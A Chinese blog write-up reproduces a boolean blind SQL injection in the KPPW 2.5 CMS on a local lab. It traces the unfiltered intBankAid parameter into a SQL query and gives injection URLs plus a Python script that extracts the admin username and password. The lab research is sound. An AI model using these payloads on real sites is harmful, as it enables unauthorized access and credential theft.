KPPW2.5 漏洞利用--SQL注入
KPPW2.5 漏洞利用--SQL注入
SQL注入--布尔型盲注
环境搭建
1,集成环境简单方便,如wamp,phpstudy....
2,KPPW v2.2源码一份(文末有分享)放到WWW目录下面
3,安装,访问(http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/install/index.php),选择下一步,下一步,填写数据库信息,后台管理员账号密码等等。




上述,漏洞复现平台搭建成功。
首页(http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php)。
漏洞分析
/control/user/account_auth.php文件
$arrAllowAuth = array('realname','enterprise','bank','mobile','email');
if ($code&&in_array($code,$arrAllowAuth)) {
$code or $code = $keys ['0'];
$code or kekezu::show_msg ( $_lang ['param_error'], "index.php?do=auth", 3, '', 'warning' );
$auth_class = "keke_auth_" . $code . "_class";
$objAuth = new $auth_class ( $code );
$auth_item = $arrAllAuthItems [$code];
$auth_dir = $auth_item ['auth_dir'];
$arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid );
require S_ROOT . "/auth/$code/control/index.php";
require keke_tpl_class::template ( 'auth/' . $code . '/tpl/' . $_K ['template'] . '/'.$step );
die;
} else {
$real_pass = keke_auth_fac_class::auth_check ( 'enterprise', $gUid ) or $real_pass = keke_auth_fac_class::auth_check ( "realname", $gUid );
$arrHasAuthItem = keke_auth_fac_class::get_auth ( $gUserInfo );
$arrUserAuthInfo = $arrHasAuthItem ['info'];
}
仔细看看这里的:
$arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid );
这里的变量$intBankAid进入了函数get_user_auth_info函数 跟进函数get_user_auth_info
/lib/sys/keke_auth_base_class.php:
public function get_user_auth_info($uid,$is_username=0,$show_id=''){
$sql="select * from ".TABLEPRE.$this->_auth_table_name;
if($uid){
$is_username=='0' and $sql.=" where uid = '$uid' " or $sql.=" where username = '$uid' ";
$show_id and $sql.=" and ".$this->_primary_key."=".$show_id;
$sql .=" order by $this->_primary_key desc";
$data = db_factory::query($sql);
if(sizeof($data)==1){
return $data[0];
}else{
return $data;
}
}else{
return array();
}
接收到的变量$intBankAid——$show_id,然后$show_id进入$sql 整个过程中变量$intBankAid未过滤,
最后进入$sql进入数据库,导致sql注入漏洞。
漏洞利用
准备:注册个账号登陆上去,绑定银行卡,进入银行认证的环节,也就是存在SQL注入的页面(http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147)。
首先用 and 1=1 和 and 1=2 判断
http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and 1=1

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and 1=2

接下来就进行布尔盲注。
判断数据库长度:
http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and (select (length(database())))=6--+-

查看数据库名字:
http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and (select ascii(substr(database(),1,1)))=107--+-

查看后台管理员账号:
http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and ascii(substr((select username from keke_witkey_member order by uid limit 0,1),1,1))=97--+

查看后台管理员密码:
http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and ascii(substr((select password from keke_witkey_member order by uid limit 0,1),1,1))=102--+

上面写了个简单的python小脚本
#coding=utf-8
#by orange
import requests
import string
database_length=0
database_name=''
username=''
houtai_name=''
houtai_pass=''
url="http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147"
headers={
'Cookie':'PHPSESSID=qugpfg8d0bclq4k2mhm57f9426'
}
'''
数据库长度
print("数据库长度")
for i in range(1,10):
payload=" and (select (length(database())))=%d--+-" % i
length=requests.get(url+payload,headers=headers)
print("正在测试......")
print i
if "622***018" in length.text:
print("数据库长度:")
print i
database_length=i
break
'''
'''
print("数据库名字")
for i in range(1,7):
for j in range(1,123):
payload = " and (select ascii(substr(database(),%d,1))) = %d--+-"%(i,j)
database_name1 = requests.get(url+payload,headers=headers)
if "622***018" in database_name1.text:
database_name+=chr(j)
print i
print database_name
break
'''
'''
print("后台账号:")
for i in range(1,6):
for j in range(97,123):
payload = " and ascii(substr((select username from keke_witkey_member order by uid limit 0,1),%d,1))=%d--+"%(i,j)
houtai_name1 = requests.get(url+payload,headers=headers)
if "622***018" in houtai_name1.text:
houtai_name+=chr(j)
print i
print houtai_name
break
'''
'''
print("后台密码:")
for i in range(1,33):
for j in range(33,123):
payload = " and ascii(substr((select password from keke_witkey_member order by uid limit 0,1),%d,1))=%d--+"%(i,j)
houtai_pass1 = requests.get(url+payload,headers=headers)
if "622***018" in houtai_pass1.text:
houtai_pass+=chr(j)
print i
print houtai_pass
break
'''
注入部分截图:




源码链接(链接: https://pan.baidu.com/s/1ggwXqBD 密码: 3ndt)
本文链接(http://www.cnblogs.com/Oran9e/p/8261750.html),转载请注明。
任重而道远!
KPPW2.5 漏洞利用--SQL注入的更多相关文章
- 利用SQL注入漏洞登录后台的实现方法
利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...
- Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说。。。
Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说... root@xi4ojin:~# cd ...
- KPPW2.2 漏洞利用--文件下载
KPPW2.2 漏洞利用--文件下载 任意文件下载漏洞 环境搭建 1,集成环境简单方便,如wamp,phpstudy.... 2,KPPW v2.2源码一份(文末有分享)放到WWW目录下面 3,安装, ...
- KPPW2.7 漏洞利用--文件上传
KPPW2.7 漏洞利用----文件上传 文件上传导致任意代码执行 搭建环境 1,集成环境简单方便,如wamp,phpstudy.... 2,KPPW v2.7源码一份(文末有分享)放到WWW目录下面 ...
- 如何利用sql注入进行爆库
SQL注入能做什么 在<SQL注入基础>一文介绍了SQL注入的基本原理和实验方法,那接下来就要问一下,SQL注入到底能什么? 估计很多朋友会这样认为:利用SQL注入最多只能获取当前表中的所 ...
- 利用SQL注入漏洞登录后台
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询 ...
- discuzX3.2 X3.4网站漏洞修复 SQL注入与请求伪造攻击利用与修复
2018年12月9日,国内某安全组织,对discuz X3.2 X3.4版本的漏洞进行了公开,这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞,漏洞 ...
- 利用SQL注入漏洞登录后台的实现方法 。。。。转载
一.SQL注入的步骤 a) 寻找注入点(如:登录界面.留言板等) b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c) 将sql语句发送给数据库管理系统(DBMS) d) DBMS ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
随机推荐
- Server 2008 R2部署active directory服务器-ad域
一.部署AD域: 系统环境:Windows server 2008 R2 标准版 ip:172.16.1.149服务器开机后会自动弹出一个初始配置任务窗口(这个不要随便关闭,因为我不知道关闭后能在哪里 ...
- 几张简单的terraform flow 图——可以快速了解terraform的使用
以下是一个简单额terraform flow 我们快速的了解terraform 的使用,基于流程 参考图 参考架构 简单使用流程 说明 从上图我们可以看出terraform 的使用 tf 内容编写 定 ...
- skipper http router 简单试用
说明: 使用源码编译,注意需要FQ,以及golang版本的问题,新版使用的是go mod 进行依赖管理 环境准备 clone 代码 git clone https://github.com/zalan ...
- js中获取当前url参数值的一个方法
var $_GET = (function(){ var url = window.document.location.href.toString();//获得当前url地址并 ...
- 我发起了一个 .Net 平台上的 开源项目 知识图谱 Babana Map 和 文本文件搜索引擎 Babana Search
起因 也是 前几天 有 网友 在 群 里发了 知识图谱 相关的文章, 还有 有 网友 问起 NLog -> LogStash -> Elastic Search 的 问题, ...
- pdf.js 的使用
现在的浏览器基本都支持直接把 pdf 文件拖到浏览器就可以打开,不用下载pdf阅读插件,但是在写网页的时候遇到了 pdf 文件怎么办呢,有两种解决办法,一种是用 falsh 来向用户展示,优点就是支持 ...
- webpack 中的 chunk 种类
webpack 将 chunk 划分为三类: 入口 chunk.入口 chunk 包含 webpack runtime 和将要加载的模块. 普通 chunk.普通 chunk 不包含 webpack ...
- 最全Pycharm教程(1)——定制外观
http://blog.csdn.net/u013088062/article/details/50100121
- java 对象的创建
jvm在创建对象时,首先判断该对象所对应的类是否已经被加载.链接和初始化,如果没有则先执行类的加载过程.类的加载过程见 java类加载. 类加载检查通过后,虚拟机在堆中为新生对象分配内存. 内存分配完 ...
- mysql 主从复制change master to
CHANGE MASTER TO命令用于slave配置连接master的信息,例如master host.master port等. 关于CHANGE MASTER TO命令,总结几点使用心得. 在C ...